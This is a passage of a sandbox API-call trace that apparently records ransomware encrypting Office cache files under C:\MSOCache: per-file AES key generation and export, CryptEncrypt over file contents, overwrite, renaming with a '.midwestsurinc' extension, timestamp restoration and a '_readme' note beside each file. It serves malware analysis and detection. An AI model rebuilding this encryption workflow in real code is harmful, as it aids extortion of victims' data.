dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0084.335] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0084.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0084.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0084.335] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0084.335] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0084.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0084.335] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc3e4630, dwHighDateTime=0x1d301be)) returned 1 [0084.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0084.336] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0084.336] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0084.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0084.336] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0084.336] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0084.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0084.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0084.336] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0084.336] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0084.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0xfa07a8 [0084.337] ReadFile (in: hFile=0x2e8, lpBuffer=0xfa07a8, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesRead=0x174fb28*=0x5aa, lpOverlapped=0x0) returned 1 [0084.338] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0x10733c0 [0084.339] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0084.339] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0xfa07a8 [0084.339] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0084.339] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10733c0) returned 1 [0084.339] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x9c0) returned 0x181a060 [0084.339] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181a060*, pdwDataLen=0x174fb24*=0x5aa, dwBufLen=0x9aa | out: pbData=0x181a060*, pdwDataLen=0x174fb24*=0x5b0) returned 1 [0084.339] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0084.339] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0084.339] WriteFile (in: hFile=0x2e8, lpBuffer=0xfa07a8*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesWritten=0x174fb28*=0x5aa, lpOverlapped=0x0) returned 1 [0084.339] FlushFileBuffers (hFile=0x2e8) returned 1 [0084.343] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0084.343] NtClose (Handle=0x2e8) returned 0x0 [0084.347] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.midwestsurinc")) returned 1 [0084.347] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0084.348] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0084.348] GetLastError () returned 0x2 [0084.348] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86070, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0084.348] GetLastError () returned 0x2 [0084.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0084.348] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0084.348] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0084.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0084.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0084.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0084.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0084.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0084.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0084.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0084.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0084.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0084.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0084.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0084.350] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2e9, lpOverlapped=0x0) returned 1 [0084.350] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x519fffb0, dwHighDateTime=0x1d5dff7)) returned 1 [0084.350] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0084.350] NtClose (Handle=0x2e8) returned 0x0 [0084.351] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0084.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0084.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0084.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0084.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0084.352] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0084.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0084.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0084.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0084.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0084.352] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0084.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0084.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0084.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0084.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0084.352] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0084.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0084.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0084.353] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0084.353] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0084.353] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0084.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0084.353] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0084.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0084.353] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4)) returned 1 [0084.353] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0084.353] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0084.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0084.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0084.354] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0084.354] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0084.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0084.354] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc47e320, dwHighDateTime=0x1d301be)) returned 1 [0084.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0084.354] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0084.354] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0084.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0084.354] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0084.354] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0084.355] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0084.355] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0084.355] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0084.355] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0084.355] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x97f400) returned 0x1f50020 [0084.356] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0x97f3f4, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0x97f3f4, lpOverlapped=0x0) returned 1 [0084.652] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x97f400) returned 0x28d0020 [0084.756] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0084.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x97f400) returned 0x1f50020 [0084.798] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0084.894] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x28d0020) returned 1 [0084.935] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x97f800) returned 0x28d0020 [0085.039] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28d0020*, pdwDataLen=0x174fb24*=0x97f3f4, dwBufLen=0x97f7f4 | out: pbData=0x28d0020*, pdwDataLen=0x174fb24*=0x97f400) returned 1 [0085.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x28d0020) returned 1 [0085.160] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0085.160] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0x97f3f4, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0x97f3f4, lpOverlapped=0x0) returned 1 [0085.313] FlushFileBuffers (hFile=0x2e8) returned 1 [0085.333] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0085.333] NtClose (Handle=0x2e8) returned 0x0 [0085.602] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.midwestsurinc")) returned 1 [0085.602] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0085.603] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0085.603] GetLastError () returned 0x2 [0085.603] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86090, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0085.603] GetLastError () returned 0x2 [0085.603] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0085.603] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0085.603] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0085.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0085.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x13) returned 0x1836160 [0085.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0085.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1836160) returned 1 [0085.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0085.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0085.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0085.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0085.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0085.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0085.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0085.605] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f1, lpOverlapped=0x0) returned 1 [0085.606] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5259aaf0, dwHighDateTime=0x1d5dff7)) returned 1 [0085.606] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0085.606] NtClose (Handle=0x2e8) returned 0x0 [0085.606] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0085.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0085.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0085.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0085.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0085.648] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0085.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0085.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0085.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0085.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0085.648] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648)) returned 1 [0085.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0085.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0085.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0085.649] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0085.649] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0085.649] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0085.649] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0085.649] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648)) returned 1 [0085.649] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0085.649] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0085.649] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0085.649] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0085.649] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0085.649] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, 